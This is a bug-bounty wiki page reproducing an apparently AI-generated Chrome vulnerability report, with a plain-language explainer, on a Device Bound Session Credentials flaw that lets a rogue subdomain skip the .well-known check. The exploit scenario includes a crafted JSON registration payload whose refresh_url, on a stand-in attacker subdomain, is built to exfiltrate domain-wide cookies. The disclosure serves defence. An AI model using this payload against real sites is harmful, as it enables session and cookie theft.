Insufficient validation of untrusted input in DeviceBoundSessionCredentials (CVE-2026-13921)
A logic flaw in Device Bound Session Credentials lets a rogue subdomain register a session for another origin on the same site by setting include_site to false, skipping the .well-known authorisation check. This could allow the attacker to force a refresh request that carries the victim's domain-wide cookies, including HttpOnly and SameSite=Strict ones, to the attacker's server.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 52 days
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A potential logic flaw in Device Bound Session Credentials (DBSC) allows a rogue subdomain to bypass the .well-known authorization check by setting include_site to false in the registration JSON. This enables an attacker to register a session for another origin on the same site, which can then be exploited for cross-origin cookie exfiltration.
Affected files:
net/device_bound_sessions/registration_fetcher.ccnet/device_bound_sessions/session.ccnet/device_bound_sessions/session_service_impl.ccnet/device_bound_sessions/session_inclusion_rules.ccnet/device_bound_sessions/cookie_craving.cc
Estimated timestamp from git blame: 2026-02-20
Summary
A potential vulnerability exists in the DBSC (Device Bound Session Credentials) registration process where the .well-known authorization check can be bypassed. An attacker controlling a subdomain (e.g., evil.victim.com) can register a session scoped to a different origin on the same site (e.g., login.victim.com) by setting include_site to false in the registration JSON. This bypasses the mandatory authorization check intended to prevent rogue subdomains from hijacking or tampering with sessions of other subdomains.
Technical Details
1. The .well-known Bypass
The DBSC implementation includes a check in net/device_bound_sessions/registration_fetcher.cc to ensure that subdomains are authorized to register sessions for their parent site or other origins. This check is performed by fetching a .well-known file from the target origin. However, the logic currently gates this check on the include_site parameter being true:
// From net/device_bound_sessions/registration_fetcher.cc
if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
!IsForRefreshRequest() && params_or_error->scope.include_site &&
fetcher_endpoint_.GetHost() != session->origin().host()) {
// Perform .well-known check...
}
If an attacker's registration payload sets "scope": {"include_site": false, "origin": "https://login.victim.com"}, the params_or_error->scope.include_site condition evaluates to false, and the .well-known check is skipped entirely, even though the fetcher (evil.victim.com) is on a different subdomain than the declared session origin.
2. Scope Origin Spoofing
Validation in net/device_bound_sessions/session.cc only requires that the scope.origin be same-site with the registration fetcher URL, rather than strictly same-origin:
// From net/device_bound_sessions/session.cc
if (net::SchemefulSite(scope_origin_as_url) !=
net::SchemefulSite(params.fetcher_url)) {
return base::unexpected(
SessionError{SessionError::kScopeOriginSameSiteMismatch});
}
This allows evil.victim.com to specify https://login.victim.com as the session origin. When include_site is false, SessionInclusionRules::EvaluateRequestUrl will successfully match any request that is same-origin with this spoofed origin_ (i.e., login.victim.com).
3. Cookie Exfiltration via Refresh
An attacker can theoretically use this spoofed session to exfiltrate cookies. By setting a refresh_url pointing to the attacker's subdomain and a CookieCraving for a nonexistent domain-wide cookie, the attacker can force the browser to trigger a refresh request when the victim navigates to login.victim.com.
When SessionServiceImpl::DeferRequestForRefresh identifies that the CookieCraving is unsatisfied, it defers the top-level navigation and initiates a refresh. The refresh request to evil.victim.com inherits the IsolationInfo from the deferred top-level navigation via ConfigureRequest in registration_fetcher.cc:
request.set_site_for_cookies(isolation_info_.site_for_cookies());
Since the deferred request was a top-level navigation to login.victim.com, the site_for_cookies is victim.com. A POST request to evil.victim.com with these settings results in a SameSite=Strict context, causing all Domain=.victim.com cookies—including those marked HttpOnly and SameSite=Strict—to be attached and sent to the attacker's endpoint.
4. Silent DBSC Destruction
Additionally, because SessionServiceImpl::AddSession overwrites existing sessions in its internal map using a SessionKey comprised only of the SchemefulSite and SessionId, an attacker can specify a known legitimate session ID in their payload to silently overwrite and disable a victim's legitimate DBSC session.
Potential Exploit Scenario
Note: These are theoretical steps; our tooling agent has not executed a working proof-of-concept.
- Environment: DBSC is enabled. The attacker controls a subdomain, e.g.,
evil.victim.com. - Trigger Registration: The attacker serves a resource from
evil.victim.comwith theSec-Session-Registrationheader to a visiting victim. - Malicious Response: The attacker's registration server returns a crafted JSON payload:
JSON { "session_identifier": "target_session_id", "scope": {"include_site": false, "origin": "https://login.victim.com"}, "refresh_url": "https://evil.victim.com/exfil", "credentials": [{ "type": "cookie", "name": "nonexistent_cookie", "attributes": "Domain=victim.com; Path=/; Secure" }] } - Registration: The browser accepts the registration. The
.well-knowncheck is bypassed due toinclude_sitebeing false. Thescope.originandrefresh_urlare accepted as they are same-site with the fetcher. - Exfiltration: When the victim navigates to
https://login.victim.com, the request is deferred due to the unsatisfiedCookieCraving. A refresh POST is sent tohttps://evil.victim.com/exfilwith the victim's domain-wide cookies attached, includingSameSite=StrictandHttpOnlycookies.
Suggested Fix
The bypass logic in RegistrationFetcherImpl::OnRequestComplete() should be updated to perform the .well-known check regardless of the include_site value, as long as the fetcher endpoint's host differs from the scope origin's host.
// Suggested modification in net/device_bound_sessions/registration_fetcher.cc
if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
!IsForRefreshRequest() &&
fetcher_endpoint_.GetHost() != session->origin().host()) {
// Perform .well-known check...
}
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The .well-known authorisation check is only performed when include_site is true, so setting it to false skips the check even when the fetcher host differs from the session origin.
Impact
An attacker could exfiltrate the victim's domain-wide cookies, including HttpOnly and SameSite=Strict cookies, and could silently overwrite a legitimate DBSC session; the report notes these steps are theoretical and no working proof-of-concept was executed.
What the attacker needed
DBSC is enabled; attacker controls a subdomain of the victim site; victim visits the attacker's subdomain; victim later navigates to the spoofed origin
The fix
The .well-known check should be performed regardless of the include_site value whenever the fetcher endpoint's host differs from the scope origin's host.
How it was found
- The attacker controls a subdomain of the victim site and serves a resource with a Sec-Session-Registration header.
- The attacker's registration server returns a crafted JSON payload with include_site false, a spoofed origin on the same site, a refresh URL on the attacker's subdomain, and a cookie craving for a nonexistent domain-wide cookie.
- The browser accepts the registration because the .well-known check is bypassed and the origin is same-site with the fetcher.
- When the victim navigates to the spoofed origin, the unsatisfied cookie craving defers the navigation and triggers a refresh POST to the attacker's subdomain.
- The refresh request inherits the site-for-cookies from the deferred navigation, so the victim's domain-wide cookies are attached and sent to the attacker.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Device Bound Session Credentials is a browser feature that ties a login session to a device. A website can register a session so the browser checks a special file on the site before trusting another subdomain. Here, a bug meant a malicious subdomain could skip that check and pretend to manage sessions for a sibling site, potentially leaking cookies.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.